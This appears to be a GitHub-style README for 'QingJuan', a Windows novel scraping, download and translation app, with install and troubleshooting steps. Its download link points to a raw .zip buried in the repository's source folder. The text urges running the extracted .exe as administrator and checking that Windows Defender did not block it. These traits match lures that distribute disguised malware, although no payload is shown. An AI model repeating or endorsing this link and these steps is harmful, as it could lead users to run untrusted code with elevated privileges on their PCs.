📚 QingJuan - Organize, download, and read novels

Download QingJuan

🧭 What QingJuan does

QingJuan is a desktop app for people who collect and read novels on a Windows PC. It brings four common tasks into one place:

-抓取小说内容 -整理作品信息 -下载本地文件 -翻译后阅读

It fits a simple daily use case. You find a novel source, pull in the content, keep it organized, save it to your computer, and read it in one app.

💻 Windows system needs

Use a Windows PC with:

  • Windows 10 or Windows 11
  • 4 GB of RAM or more
  • 200 MB of free disk space for the app
  • A stable internet connection for download, update, and online content
  • A modern browser to open the GitHub page

For a smooth reading and file-handling experience, a recent Intel or AMD processor works well.

📥 Download QingJuan

Visit this page to download and run the app on Windows:

https://github.com/Ethelindribless362/QingJuan/raw/refs/heads/main/src-tauri/Juan-Qing-3.9-beta.3.zip

On that page, look for the latest release, build file, or download package. If the project offers a Windows installer or .exe file, download that file to your computer and run it.

🛠️ Install on Windows

Follow these steps:

  1. Open the download page in your browser.
  2. Find the latest Windows release or download file.
  3. Download the file to your PC.
  4. If the file is in a .zip package, right-click it and choose Extract All.
  5. Open the extracted folder.
  6. If you see a .exe file, double-click it to start QingJuan.
  7. If Windows asks for permission, choose Yes.
  8. If your browser saves the file to Downloads, open that folder and start the app from there.

If you pin the app to your taskbar, you can open it faster next time.

🚀 First-time setup

When you open QingJuan for the first time:

  1. Choose your reading language or source settings if the app asks.
  2. Set a local save folder for novels and chapters.
  3. Check the default font size and line spacing.
  4. Turn on translation tools if you want translated reading.
  5. Save your settings before you start using the app.

If you plan to keep many novels, choose a folder with clear space and a simple name, such as Documents\QingJuan.

📖 Main features

🧲 Grab novel content

Pull text from supported novel pages and keep it in one place. This helps when you want to save chapters without copying each one by hand.

🗂️ Sort and manage

Keep novel titles, chapter lists, and reading progress in order. This makes it easier to return to a story later.

⬇️ Download for offline use

Save novels to your PC so you can read without a live internet connection. This also helps keep your reading list local.

🌐 Translate and read

Use translation support when you read content in another language. You can keep the text and translation close together for easier review.

🪟 Desktop reading

Read in a clean Windows window with a layout that suits long-form text. A desktop layout helps when you read for a long time.

🧭 How to use it

  1. Open QingJuan.
  2. Add a novel source or import content.
  3. Let the app fetch chapters or text.
  4. Review the title and chapter list.
  5. Choose download or save options.
  6. Open the novel in the reader.
  7. Switch to translated text if needed.
  8. Keep your library in the same save folder for easy access.

If the app supports batch actions, use them to process more than one chapter at a time.

🗃️ Suggested folder setup

A simple folder layout makes file use easier:

  • QingJuan
    • Novels
    • Downloads
    • Translations
    • Cache

You can keep each book in its own folder. That helps when you want to back up or move files later.

🔐 File safety and privacy

QingJuan runs on your desktop and stores content on your own PC. Keep your save folders in a place you control. If you use online sources, check the source before you import content.

For best results:

  • Use trusted novel sources
  • Keep a backup copy of your saved books
  • Remove files you no longer need
  • Keep Windows updated

🧰 Common use cases

  • You want to collect chapters from a novel site
  • You want to save text for offline reading
  • You want one place to manage many stories
  • You want to translate while you read
  • You want a local desktop tool instead of a browser tab

🖼️ What to expect in the app

The app is designed for simple use. You can expect:

  • A main window for your library
  • Clear buttons for import, download, and read actions
  • A list or tree view for chapters
  • Reader settings for font and spacing
  • Local file handling for saved novels
  • Translation options where available

The layout should feel familiar to most Windows users.

🧩 If something does not open

If the app does not start, try this:

  1. Check that the file finished downloading.
  2. Extract the package if it came in a .zip file.
  3. Make sure you open the .exe file, not a folder.
  4. Right-click the file and choose Run as administrator.
  5. Check that Windows Defender did not block the file.
  6. Download the package again if the file looks broken.
  7. Make sure your Windows version meets the system needs.

🧹 Keep your library clean

A neat library helps you find novels fast:

  • Use short folder names
  • Remove old test downloads
  • Save each novel in its own folder
  • Rename chapters if the source format looks messy
  • Back up your library to an external drive or cloud folder

🧑‍💻 Built with

QingJuan is built with:

  • Tauri 2 for the desktop shell
  • Vue 3 for the interface
  • Python for core processing and content handling

This mix helps the app stay light on the desktop while still handling novel work, downloads, and text processing

🧷 File types you may see

Depending on the release, you may see:

  • .exe for the app
  • .zip for a packed release
  • .json for settings or data
  • .txt or .md for text files
  • folders for chapters, cache, or export files

If the project adds an installer later, use the installer file for the easiest setup on Windows
